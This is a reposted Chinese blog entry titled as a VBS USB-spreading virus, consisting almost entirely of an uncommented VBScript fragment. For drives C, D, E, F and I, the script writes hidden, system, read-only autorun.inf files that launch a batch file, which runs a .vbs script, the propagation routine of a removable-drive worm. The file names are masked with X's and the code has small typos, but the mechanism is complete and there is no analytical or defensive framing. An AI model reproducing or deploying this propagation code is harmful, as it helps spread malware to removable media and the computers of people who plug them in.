vbsU盘传播病毒

最新推荐文章于 2024-05-23 23:17:02 发布

weixin_33690963

最新推荐文章于 2024-05-23 23:17:02 发布

阅读量239

点赞数

文章标签： shell

原文链接：https://my.oschina.net/sucre/blog/296240

版权

为什么80%的码农都做不了架构师？>>>

If fso.FileExists( "C:\autorun.inf") Then
Set objFolder = fso.GetFile( "C:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_
& "&& echo shell=Auto>>C:\autorun.inf"_
& "&& attrib +h +s +r C:\autorun.inf"
set autobatc=fso.createtextfile( "c:\XXXXXX.bat",1,ture)
autobatc.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "D:\autorun.inf") Then
Set objFolder = fso.GetFile( "D:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_
& "&& echo open=XXXXXXX.bat >>D:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_
& "&& echo shell=Auto>>D:\autorun.inf"_
& "&& attrib +h +s +r D:\autorun.inf"
set autobatd=fso.createtextfile( "D:\XXXXX.bat",1,ture)
autobatd.writeline( "XXXX.vbs")
End If
If fso.FileExists( "E:\autorun.inf") Then
Set objFolder = fso.GetFile( "E:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_
& "&& echo open=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_
& "&& echo shell=Auto>>E:\autorun.inf"_
& "&& attrib +h +s +r E:\autorun.inf"
set autobate=fso.createtextfile( "E:\XXXXX.bat",1,ture)
autobate.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "F:\autorun.inf") Then
Set objFolder = fso.GetFile( "F:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_
& "&& echo open=NXXXX.bat >>F:\autorun.inf"_
& "&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_
& "&& echo shell=Auto>>F:\autorun.inf"_
& "&& attrib +h +s +r F:\autorun.inf"
set autobatf=fso.createtextfile( "F:\XXXXX",1,ture)
autobatf.writeline( "XXXXXX.vbs")
End If
If fso.FileExists( "I:\autorun.inf") Then
Set objFolder = fso.GetFile( "I:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_
& "&& echo open=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_
& "&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_
& "&& echo shell=Auto>>I:\autorun.inf"_
& "&& attrib +h +s +r I:\autorun.inf"
set autobatf=fso.createtextfile( "I:\XXXXX.bat",1,ture)
autobatf.writeline( "XXXXXXX.vbs")
End If

转载于:https://my.oschina.net/sucre/blog/296240